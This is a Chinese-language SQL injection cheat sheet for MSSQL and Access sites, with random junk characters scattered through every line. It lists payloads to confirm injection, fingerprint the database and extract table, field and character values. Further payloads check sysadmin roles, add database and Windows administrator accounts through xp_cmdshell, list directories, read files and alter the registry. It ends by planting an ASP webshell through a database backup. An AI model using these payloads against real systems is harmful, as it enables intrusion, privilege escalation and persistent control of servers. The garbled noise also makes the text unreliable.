1.判断是否有注入;and 1=1 ;and 1=2 KDl_?9E5
2.初步判断是否是mssql ;and user>0 VhjM>(
7QKr_
3.注入参数是字符'and [查询条件] and ''=' ~8"8w(CG*I
8t@p@Td|
4.搜索时没过滤参数的'and [查询条件] and '%25'=' R8rfM?"W
y2]-&]&
5.判断数据库系统 mWR4|1(
bY}eUL2i4
;and (select count(*) from sysobjects)>0 mssql Le<wR
|#1(Z-}
;and (select count(*) from msysobjects)>0 access .q&'&~!_
?bM_q_5
"&+"@<
9j W2
6.猜数据库 ;and (select Count(*) from [数据库名])>0 `n$5+a+
J!'@ Bd
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 b'6-dU%
54
> -
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Og=*R6i
+f*OliMD
9.(1)猜字段的ascii值(access) '*\|;l#1
"D?z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 rx(2yf
G8Nt
8U~
(2)猜字段的ascii值(mssql) 6JKqn~0Kk
~"UV]Udn
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 }%Bl>M
Or
!+._3i
10.测试权限结构(mssql) Us+pc^A
u%~igt@x
LM&y@"wfm
@+ atBmt
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- _`64gS}^
sKlDu
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ^"J8r W6[
-V: "l
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ;FZ@:%qDm
t|~YEQ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $.9{if#o&
[HCAmnb
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- [oF|s-"9!
B<C*
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- &ZL3{M
4lBU#V7
;and 1=(select IS_MEMBER('db_owner'));-- /z BxJT0
l x,"EOP
765p/**
Zh_|m#)
11.添加mssql和系统的帐户 )T k1 QHU
x' .:&z
;exec master.dbo.sp_addlogin username;-- I4&::y^C
;exec master.dbo.sp_password null,username,password;-- %;.;>Y(-
!qX_I db\
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ,_"AT!r
?. D3'qv
;exec master.dbo.xp_cmdshell 'net user username password Ot]Ru,y->+
n> ^[T[.S
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- lkBdl#]9
{'U
Rz[g
;exec master.dbo.xp_cmdshell 'net user username password /add';-- }g4 M2|
H"qOSf{
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- =2@B&
8=]Tr3
B, 9w0
=C~/7N,lW]
12.(1)遍历目录 jAud {m*T
9'r:~O
;create table dirs(paths varchar(100), id int) cq$i
rD*sl}
;insert dirs exec master.dbo.xp_dirtree 'c:\' ?:w1je7
8stwg'
;and (select top 1 paths from dirs)>0 .jj$ Kh q]
s>^dxF!+
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
6H'HxB4
48Mpf=f`
h(5P(` M
w+N> h;j
(2)遍历目录 hXA6D)
&B|D;|7H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Ps 8%J;
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $jg*pmR-
kcQ'$<Mz<
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 aJcf`<p
hiUD]5Kp
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Z.M,NR
sq;s]@~
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /IsS;0K%L
/RMPS.
d
{
?]x|Zy
FHC\?Cg
13.mssql中的存储过程 PTEHP
kS!viJwtT
xp_regenumvalues 注册表根键, 子键 L@gWzC~?Q
Ovj^IjG-`
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ndeebXw*
*guoWPA|Ij
xp_regread 根键,子键,键值名 :duo#w"K
YJo["Q
;exec xp_regread kSDZZx
!U5Wr+83
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q#8 [
0D&t!$Ibf
xp_regwrite 根键,子键, 值名, 值类型, 值 o";Z$tAJkC
VhNz8)
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 %%4t~XC#
d,=r9.
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 z-b*D}&
nG;8:f`
xp_regdeletevalue 根键,子键,值名 -*XCxU'
Cm\6tD
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 -k"^o!p
V,G|k!!
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 +9")KQT
r3\cp0P;s
^Y
iJV7
!Uq^7Mw
14.mssql的backup创建webshell z5r$M
$t6e2=7
use model iySRY^
?G-e](]^<
create table cmd(str image); UNkCL4N
Bn(W"=1
insert into cmd(str) values (''); z
d-Tv`L#
u6bXv(
backup database model to disk='c:\l.asp'; -
h9?1vc7
n2fbp\ I
J;f!!<l\
|lkNi
15.mssql内置函数 r9ww.PpNk#
0JJS2oY/
;and (select @@version)>0 获得Windows的版本号 $O dCL
`IY/9'vT
;and user_name()='dbo' 判断当前系统的连接用户是不是sa l!g]a2x*
~R@Nd~L
;and (select user_name())>0 爆当前系统的连接用户 [NTtz
<i@
g=$1cC+(
;and (select db_name())>0 得到当前连接的数据库 pf_mf.
14"J d\M8
?|ZTaX6A
#Z<a
16.简洁的webshell MC{
2X
&JtV'@>v
use model jWYV#ifs2
P'O#I}Dmw<
create table cmd(str image); = hN
!;7G
-G|G_$9
insert into cmd(str) values (''); ~fo6*g:f1
37RLE1Yf
backup database model to disk='g:\wwwtest\l.asp';